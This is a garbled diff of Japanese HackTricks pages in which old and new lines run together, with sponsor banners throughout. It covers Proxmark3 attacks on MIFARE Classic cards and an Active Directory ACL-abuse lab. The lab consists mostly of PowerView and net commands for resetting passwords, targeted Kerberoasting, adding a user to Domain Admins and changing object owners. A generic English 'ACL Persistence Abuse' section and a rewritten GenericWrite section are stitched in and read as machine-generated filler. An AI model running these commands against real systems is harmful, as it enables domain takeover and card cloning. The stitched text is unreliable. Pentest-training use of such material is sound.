<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、**HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、**独占的なNFT**のコレクションを発見してください。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
@ -12,17 +12,25 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Proxmark3を使用したRFIDシステムの攻撃 ## Proxmark3を使用したRFIDシステムの攻撃
最初に必要なのは、[**Proxmark3**](https://proxmark.com)を入手し、[**ソフトウェアとその依存関係をインストール**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**することです**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。 最初にする必要があることは、[**Proxmark3**](https://proxmark.com)を持っていて、[**ソフトウェアをインストールし、依存関係を解決する**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)ことです
### MIFARE Classic 1KBの攻撃 ### MIFARE Classic 1KBの攻撃
MIFARE Classic 1KBには**16のセクター**があり、それぞれには**4つのブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0ブロック0にあり変更できません それは**16のセクター**があり、それぞれには**4つのブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0ブロック0にあります(変更できません)。
各セクターにアクセスするには、**2つのキー****A**と**B**)が必要で、それらは各セクターの**ブロック3に保存**されますセクタートレーラー。セクタートレーラーには、2つのキーを使用して各ブロックの**読み取りと書き込み**の権限を与える**アクセスビット**も保存されます。 各セクターにアクセスするには、**2つのキー****A**と**B**)が必要で、それらは各セクターの**ブロック3に保存**されますセクタートレーラー。セクタートレーラーには、2つのキーを使用して各ブロックの**読み取りと書き込み**の許可を与える**アクセスビット**も保存されます。
たとえば、最初のキーを知っている場合は読み取りの権限を与え、2番目のキーを知っている場合は書き込みの権限を与えるため、2つのキーは便利です 1つ目のキーを知っている場合は読み取りの許可、2つ目のキーを知っている場合は書き込みの許可を与えるために、2つのキーが役立ちます例えば
さまざまな攻撃が実行できます。 いくつかの攻撃が実行できます。
```bash ```bash
proxmark3> hf mf #List attacks proxmark3> hf mf #List attacks
@ -41,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
``` ```
Proxmark3を使用すると、**タグとリーダーの通信を傍受**して、機密データを見つけることができます。このカードでは、**暗号操作が弱い**ため、通信を傍受して使用されるキーを計算することができます(`mfkey64`ツールを使用)。 Proxmark3を使用すると、**タグとリーダーの通信を傍受**して、機密データを見つけることができます。このカードでは、**暗号操作が弱い**ため、通信を傍受して使用されるを計算することができます(`mfkey64`ツールを使用)。
### 生のコマンド ### 生のコマンド
IoTシステムでは、**非商標または非商用のタグ**が使用されることがあります。この場合、Proxmark3を使用してカスタムの**生のコマンドをタグに送信**することができます。 IoTシステムでは、**非商標または非商タグ**が使用されることがあります。この場合、Proxmark3を使用してカスタムの**生のコマンドをタグに送信**することができます。
```bash ```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04 proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2] SAK : 08 [2]
@ -59,20 +67,27 @@ Valid ISO14443A Tag Found - Quiting Search
### スクリプト ### スクリプト
Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**の事前にロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプトの名前に続いて`script run`コマンドを使用します: Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる、事前にロードされた**自動化スクリプト**のリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプトの名前に続いて`script run`コマンドを使用します:
``` ```
proxmark3> script run mfkeys proxmark3> script run mfkeys
``` ```
タグリーダーを**ファズ**するためのスクリプトを作成することができます。有効なカードのデータをコピーして、**Luaスクリプト**を作成し、1つまたは複数の**ランダムなバイト**を**ランダム化**し、リーダーがどのイテレーションでも**クラッシュするか**をチェックします。 **タグリーダーをファズ化するスクリプト**を作成することができます。有効なカードのデータをコピーするだけでなく、**Luaスクリプト**を作成して、1つまたは複数の**ランダムなバイト**をランダム化し、どのイテレーションでも**リーダーがクラッシュするかどうか**をチェックします。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -4,21 +4,29 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムを含むテックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## コンテキスト ## コンテキスト
このラボでは、Active DirectoryのDiscretionary Access Control ListsDACLおよびAccess Control EntriesACEの弱い権限を悪用します。 このラボは、Active DirectoryのDiscretionary Access Control ListsDACLおよびAccess Control EntriesACEの弱い権限を悪用することを目的とています。
ユーザーやグループなどのActive Directoryオブジェクトは、セキュリティ可能なオブジェクトであり、DACL/ACEはそれらのオブジェクトを読み取り/変更できるユーザーを定義します(例:アカウント名の変更、パスワードのリセットなど)。 ユーザーやグループなどのActive Directoryオブジェクトは、セキュリティ可能なオブジェクトであり、DACL/ACEはそれらのオブジェクトを読み取る/変更することができるユーザーを定義します(アカウント名の変更、パスワードのリセットなど)。
「Domain Admins」セキュリティオブジェクトのACEの例は次のとおりです 「Domain Admins」セキュリティ可能なオブジェクトのACEの例は次のとおりです
![](../../../.gitbook/assets/1.png) ![](../../../.gitbook/assets/1.png)
@ -28,9 +36,9 @@
* **GenericWrite** - オブジェクトの属性を更新する(ログオンスクリプトなど) * **GenericWrite** - オブジェクトの属性を更新する(ログオンスクリプトなど)
* **WriteOwner** - オブジェクトの所有者を攻撃者が制御するユーザーに変更し、オブジェクトを乗っ取る * **WriteOwner** - オブジェクトの所有者を攻撃者が制御するユーザーに変更し、オブジェクトを乗っ取る
* **WriteDACL** - オブジェクトのACEを変更し、攻撃者にオブジェクトの完全な制御権を与える * **WriteDACL** - オブジェクトのACEを変更し、攻撃者にオブジェクトの完全な制御権を与える
* **AllExtendedRights** - ユーザーをグループに追加したり、パスワードをリセットする * **AllExtendedRights** - ユーザーをグループに追加したり、パスワードをリセットする能
* **ForceChangePassword** - ユーザーのパスワードを変更する * **ForceChangePassword** - ユーザーのパスワードを変更する能
* **Self (Self-Membership)** - 自分自身をグループに追加する * **SelfSelf-Membership** - 自分自身をグループに追加する能
このラボでは、上記のACEのほとんどを探索し、悪用しようとします。 このラボでは、上記のACEのほとんどを探索し、悪用しようとします。
@ -46,7 +54,7 @@ Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRigh
![](../../../.gitbook/assets/2.png) ![](../../../.gitbook/assets/2.png)
* **パスワードの変更**: 次のコマンドを使用して、そのユーザーのパスワードを変更できます。 * **パスワードの変更**: 以下のコマンドを使用して、ユーザーのパスワードを変更できます。
```bash ```bash
net user <username> <password> /domain net user <username> <password> /domain
@ -61,11 +69,11 @@ Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipal
# SPNのクリーンアップ # SPNのクリーンアップ
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
# また、ツールhttps://github.com/ShutdownRepo/targetedKerberoastを使用して、 # また、ツールhttps://github.com/ShutdownRepo/targetedKerberoastを使用して、
# 1つまたはすべてのユーザーのハッシュを取得することもできます # 1つまたはすべてのユーザーのハッシュを取得することもできます
python3 targetedKerberoast.py -domain.local -u <username> -p password -v python3 targetedKerberoast.py -domain.local -u <username> -p password -v
``` ```
* **ターゲット指定のASREPRoasting**: **事前認証**を**無効化**して、ユーザーを**ASREPRoastable**にすることができます。その後、ASREProastを実行します。 * **ターゲット指定のASREPRoasting**: ユーザーの**preauthentication**を**無効化**して、ユーザーを**ASREPRoastable**にすることができます。
```powershell ```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304} Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
@ -89,9 +97,7 @@ Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=o
```csharp ```csharp
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
``` ```
![](../../../.gitbook/assets/6.gif) 同じことはActive DirectoryまたはPowerSploitモジュールでも実現できます。
同じことはActive DirectoryまたはPowerSploitモジュールでも実現できます
```csharp ```csharp
# with active directory module # with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless Add-ADGroupMember -Identity "domain admins" -Members spotless
@ -109,7 +115,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
[shadow-credentials.md](shadow-credentials.md) [shadow-credentials.md](shadow-credentials.md)
{% endcontent-ref %} {% endcontent-ref %}
## グループへのWriteProperty ## GroupへのWriteProperty
制御されたユーザーが`Domain Admin`グループの`All`オブジェクトに対して`WriteProperty`権限を持っている場合: 制御されたユーザーが`Domain Admin`グループの`All`オブジェクトに対して`WriteProperty`権限を持っている場合:
@ -133,11 +139,39 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai
## WriteProperty自己メンバーシップ ## WriteProperty自己メンバーシップ
攻撃者が自分自身をグループに追加することを可能にするもう1つの特権です。 攻撃者が自身をグループに追加することを可能にするもう1つの特権です。
```csharp ```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
``` ```
![](../../../.gitbook/assets/11.png) # ACL Persistence Abuse
## Overview
ACL (Access Control List) Persistence Abuse is a technique used by attackers to maintain persistence on a compromised Windows system by manipulating the permissions of certain files or directories. By modifying the ACLs, an attacker can ensure that their malicious code or backdoor remains undetected and continues to execute even after system reboots or security updates.
## Methodology
1. **Identify target files or directories**: The first step is to identify the files or directories that are suitable for ACL manipulation. These are typically system files or directories that are frequently accessed or executed by the operating system or other applications.
2. **Analyze existing ACLs**: Next, analyze the existing ACLs of the target files or directories to understand the current permissions and access rights. This will help in identifying the specific ACLs that need to be modified.
3. **Modify ACLs**: Modify the ACLs of the target files or directories to grant the necessary permissions to the attacker's code or backdoor. This can be done using various methods, such as using the `icacls` command-line tool or programmatically through scripting.
4. **Test persistence**: Test the persistence by rebooting the system or triggering a security update. Ensure that the attacker's code or backdoor continues to execute without being detected.
5. **Maintain persistence**: To maintain persistence, periodically check and modify the ACLs if necessary. This will ensure that the attacker's code or backdoor remains active even after system changes or updates.
## Mitigation
To mitigate ACL Persistence Abuse, follow these best practices:
- Regularly review and audit the ACLs of critical system files and directories.
- Restrict permissions to only necessary users and groups.
- Implement strong password policies to prevent unauthorized access.
- Monitor system logs and network traffic for any suspicious activity.
- Keep the operating system and applications up to date with the latest security patches.
By following these practices, you can reduce the risk of ACL Persistence Abuse and enhance the security of your Windows systems.
```csharp ```csharp
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
``` ```
@ -157,7 +191,7 @@ Set-DomainUserPassword -Identity delegate -Verbose
``` ```
![](../../../.gitbook/assets/14.png) ![](../../../.gitbook/assets/14.png)
パスワードのセキュアな文字列変換をいじる必要がない別の方法: パスワードの安全な文字列変換をいじる必要がない別の方法:
```csharp ```csharp
$c = Get-Credential $c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
@ -201,20 +235,27 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
## ユーザーに対するGenericWrite ## ユーザーに対するGenericWrite
Active DirectoryADのアクセス制御リストACLは、ユーザーやグループに対して特定のアクションを許可または拒否するために使用されます。GenericWriteは、ユーザーオブジェクトのACLに対して特定の権限を与えることができる一つのアクションです。 ### 概要
この攻撃技術では、攻撃者はユーザーオブジェクトのACLにGenericWrite権限を追加することで、そのユーザーに対して悪意のある操作を行うことができます。具体的には、攻撃者はユーザーオブジェクトの属性を変更したり、他のユーザーに権限を与えたりすることができます。 この攻撃手法では、Active DirectoryADのアクセス制御リストACLの権限を悪用して、ユーザーオブジェクトに対してGenericWrite権限を与えます。GenericWrite権限は、ユーザーオブジェクトの属性を変更するために必要な権限です。この攻撃手法を使用すると、攻撃者はユーザーオブジェクトの属性を変更し、権限を拡大することができます。
この攻撃技術を実行するためには、攻撃者はActive Directoryに対して適切なアクセス権を持っている必要があります。また、攻撃者は攻撃対象のユーザーオブジェクトのDNDistinguished Nameを知っている必要があります。 ### 攻撃手順
以下の手順に従って、GenericWriteを使用したユーザーへの攻撃を実行することができます。 1. 攻撃者はActive Directory内のユーザーオブジェクトのACLを調査します。
2. 攻撃者は、ユーザーオブジェクトのACLに対してGenericWrite権限を追加します。
3. 攻撃者は、ユーザーオブジェクトの属性を変更し、権限を拡大します。
1. 攻撃者はActive Directoryに対して適切なアクセス権を持っていることを確認します。 ### 対策方法
2. 攻撃者は攻撃対象のユーザーオブジェクトのDNを特定します。
3. 攻撃者は攻撃対象のユーザーオブジェクトのACLを変更し、GenericWrite権限を追加します。
4. 攻撃者は悪意のある操作を行うために、攻撃対象のユーザーオブジェクトを利用します。
この攻撃技術は、Active Directoryのセキュリティを回避するために使用されることがあります。したがって、組織は適切なアクセス制御と監視を実施することが重要です。 この攻撃手法を防ぐためには、以下の対策を実施することが重要です。
- Active DirectoryのACLを定期的に監査し、不正な変更を検出する。
- ユーザーオブジェクトのACLに対して適切な権限を設定し、不要な権限を削除する。
- セキュリティポリシーを適用し、不正な変更を防止する。
### 参考情報
- [Active Directoryのアクセス制御リストACL](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/access-control/active-directory-acls)
```csharp ```csharp
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
``` ```
@ -230,7 +271,7 @@ Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\
## グループのGenericWrite ## グループのGenericWrite
これにより、グループのメンバーとして新しいユーザー(たとえば自分自身)を設定できます: これにより、新しいユーザー(例えば、自分自身)をグループのメンバーとして設定できます:
```powershell ```powershell
# Create creds # Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
@ -242,23 +283,31 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member # Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## WriteDACL + WriteOwner ## WriteDACL + WriteOwner
もし、あなたがグループのオーナーである場合、私の場合は`Test` ADグループのオーナーです もし私が`Test` ADグループのオーナーである場合
![](../../../.gitbook/assets/22.png) ![](../../../.gitbook/assets/22.png)
もちろん、PowerShellを使ってもできます もちろん、PowerShellを使用してもできます:
```csharp ```csharp
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value ([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
``` ```
![](../../../.gitbook/assets/23.png) ![](../../../.gitbook/assets/23.png)
そして、そのADオブジェクトには `WriteDACL` 権限があります: そして、そのADオブジェクトには`WriteDACL`があります:
![](../../../.gitbook/assets/24.png) ![](../../../.gitbook/assets/24.png)
